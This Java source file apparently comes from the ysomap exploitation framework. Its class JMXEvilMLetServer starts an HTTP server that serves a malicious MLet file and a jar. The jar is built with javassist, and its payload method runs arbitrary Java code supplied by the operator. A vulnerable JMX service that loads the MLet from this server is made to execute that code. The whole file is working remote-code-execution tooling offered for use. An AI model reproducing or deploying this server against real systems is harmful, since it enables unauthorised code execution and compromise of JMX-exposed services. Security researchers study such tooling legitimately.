package ysomap.exploits.jmx;

import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import javassist.*;
import ysomap.common.annotation.*;
import ysomap.common.util.Logger;
import ysomap.common.util.Status;
import ysomap.core.util.ClassFiles;
import ysomap.core.util.HTTPHelper;
import ysomap.exploits.AbstractExploit;
import ysomap.exploits.jmx.component.MLetPayload;
import ysomap.exploits.jmx.component.MLetPayloadMBean;

import java.io.IOException;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.Map;

/**
 * @author wh1t3P1g
 * @since 2020/3/17
 */
@Exploits
@Authors({Authors.WH1T3P1G})
@Require(param = false)
@Details("Startup a SimpleHttpServer with JMX MLet.xml and MBean.jar files.\n" +
        "建立一个挂载了JMX MLet.xml文件和MBean.jar文件的HTTP服务。")
public class JMXEvilMLetServer extends AbstractExploit {

    @NotNull
    @Require(name = "lhost", detail = "JMX MLet Server Host，如localhost")
    public String lhost;

    @NotNull
    @Require(name = "lport", type = "int", detail = "JMX MLet Server监听端口")
    public String lport;

    @Require(name = "body", detail = "可为空，如果需要执行任意的Java代码时指定")
    public String body;// 可以允许为null

    private HttpServer server;

    @Override
    public void work() {
        String codebase = "http://" + lhost + ":" + lport + "/";
        String evilMLet =
                "<html><mlet code=\"ysomap.exploits.jmx.component.MLetPayload\" " +
                        "archive=\"jmxmletpayload.jar\" " +
                        "name=\"ysomap.exploits.jmx.component:name=payload,id=1\" " +
                        "codebase=\"" + codebase + "\"></mlet></html>";

        needRunning = true;
        int p = Integer.parseInt(lport);
        try {
            Map<String, HttpHandler> paths = new LinkedHashMap<>();
            paths.put("/mlet.xml", new HTTPHelper.PayloadHandler(evilMLet.getBytes()));
            paths.put("/jmxmletpayload.jar", new HTTPHelper.PayloadHandler(makeJMXMLetPayloadJar()));

            server = HTTPHelper.makeSimpleHTTPServer(p, paths);
            server.start();
            Logger.success("Opening Payload HTTPServer on " + lport);
            Logger.success("Paths /mlet.xml && /jmxmletpayload.jar");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void stop() {
        if(server != null){
            server.stop(0);
            Logger.success(JMXEvilMLetServer.class.getSimpleName()+ " done!");
        }
        status = Status.STOPPED;
        needRunning = false;
    }

    private byte[] makeJMXMLetPayloadJar() throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = new ClassPool(true);
        CtClass clazz = ClassFiles.makeClassFromExistClass(pool,
                            MLetPayload.class,
                            new Class<?>[]{MLetPayloadMBean.class});
        CtClass iface = pool.get(MLetPayloadMBean.class.getName());
        CtMethod method = clazz.getDeclaredMethod("runCode", null);
        if(body != null){
            method.setBody(body);
        }
        Map<String, byte[]> classes = new HashMap<>();
        classes.put("ysomap.exploits.jmx.component.MLetPayload.class", clazz.toBytecode());
        classes.put("ysomap.exploits.jmx.component.MLetPayloadMBean.class", iface.toBytecode());

        return ClassFiles.makeJarWithMultiClazz("jmxmletpayload.jar", classes);
    }
}
